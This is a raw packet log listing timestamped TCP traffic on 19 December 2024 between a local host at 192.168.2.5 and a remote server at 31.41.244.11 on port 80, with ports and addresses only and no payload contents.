Dec 19, 2024 03:09:24.922924995 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.923526049 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.923580885 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.923623085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.923671961 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.924354076 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.924443960 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.924457073 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.924503088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.925378084 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.925420046 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.925462008 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.925503016 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.926423073 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.926503897 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.926546097 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.927385092 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.927498102 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.927540064 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.928407907 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.928555965 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.928596973 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.929497957 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.929524899 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.929538965 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.929565907 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.930418968 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.930460930 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.930511951 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.930552959 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.931428909 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.931552887 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.931596041 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.932522058 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.932564020 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.932588100 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.932626963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.933461905 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.933504105 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.933545113 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.933583975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.934475899 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.934519053 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.934577942 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.934617043 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.935477018 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.935543060 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.935581923 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.936527967 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.936573982 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.936636925 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.936681986 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.937530041 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.937585115 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.937637091 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.937686920 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.938529015 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.938586950 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.938651085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.938698053 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.939640999 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.939699888 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.939769983 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.940566063 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.940623045 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.940705061 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.940754890 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.941608906 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.941729069 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.941783905 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.942605019 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.942727089 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.942775965 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.943624020 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.943708897 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.943739891 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.943882942 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.944622040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.944747925 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.944801092 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.945657969 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.945713043 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.945780039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.945878983 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.946647882 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.946696997 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.946767092 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.946815014 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.947745085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.947853088 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.947904110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.948683023 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.948734045 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.948823929 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.948878050 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.949872017 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.949924946 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.949980974 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.950031996 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.950675011 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.950726032 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.950793982 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.950841904 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.951714039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.951865911 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.951924086 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.952766895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.952835083 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.952909946 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.953068018 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.953767061 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.953845978 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.953874111 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.953968048 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.954741955 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.954794884 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.954859972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.954993010 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.955821991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.955924034 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.955929995 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.956259966 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.956798077 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.956861019 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.956908941 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.957474947 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.957794905 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.957844019 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.957914114 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.958385944 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.958811998 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.958870888 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.958945990 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.959136963 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.959913015 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.959970951 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.960047007 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.960104942 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.960853100 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.960916042 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.960927963 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.960988998 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.961833954 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.961890936 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.961958885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.962018013 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.962894917 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.962949991 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.962958097 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.963295937 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.963860035 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.963922977 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.963998079 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.964209080 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.964925051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.964982986 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.965070009 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.965190887 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.965886116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.965998888 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.966043949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.966274023 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:24.966888905 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:24.966948032 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.106237888 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.106343985 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.106498957 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.106498957 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.106725931 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.106790066 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.106874943 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.106929064 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.107441902 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.107507944 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.107588053 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.107645988 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.108409882 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.108467102 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.108532906 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.108592987 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.109484911 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.109540939 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.109546900 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.109601974 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.110445023 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.110503912 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.110584021 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.110645056 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.111512899 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.111573935 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.111653090 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.112660885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.112720013 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.112792015 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.112854004 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.113603115 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.113661051 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.113711119 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.113770008 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.114490032 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.114552021 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.114605904 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.114659071 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.115592957 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.115653038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.115725994 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.116585970 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.116664886 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.117984056 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.118021965 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.118051052 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.118057966 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.118073940 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.118113995 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.119086027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.119143009 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.119209051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.119260073 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.120101929 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.120172024 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.120225906 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.120771885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.120829105 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.120832920 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.120883942 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.121560097 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.121613979 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.121656895 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.121710062 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.122570038 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.122625113 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.122668028 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.122718096 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.123595953 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.123716116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.123769045 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.124598026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.124671936 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.124717951 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.124773026 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.125591040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.125648975 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.125698090 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.125749111 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.126596928 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.126676083 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.126723051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.126775026 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.127613068 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.127727985 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.127782106 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.128616095 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.128681898 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.128720045 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.128762007 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.129626036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.129681110 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.129730940 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.129951954 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.130877972 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.130934000 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.130942106 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.130980968 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.131634951 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.131803036 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.131853104 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.132677078 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.132725954 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.132807970 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.132875919 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.133683920 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.133729935 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.133797884 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.133841038 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.134691954 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.134749889 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.134792089 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.134835958 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.135708094 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.135835886 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.135888100 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.136778116 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.136831999 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.136833906 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.136882067 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.137769938 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.137821913 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.137857914 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.137902021 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.138741970 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.138813019 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.138854027 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.138899088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.139785051 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.139883041 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.139894009 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.139925003 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.140793085 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.140853882 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.140892982 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.140949011 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.141804934 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.141854048 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.141894102 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.141943932 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.142786026 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.142924070 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.142970085 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.143807888 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.143929005 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.143981934 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.144835949 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.144886971 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.144941092 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.144989014 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.145857096 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.145908117 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.145946980 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.146027088 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.146858931 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.146910906 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.146975040 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.147022009 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.147878885 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.148003101 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.148013115 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.148061037 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.148905039 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.148988962 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.149058104 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.149115086 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.149919033 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.149980068 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.150043964 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.150147915 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.150917053 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.150974035 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.151051044 CET	80	49862	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:25.151113987 CET	49862	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:25.151979923 CET	80	49862	31.41.244.11	192.168.2.5
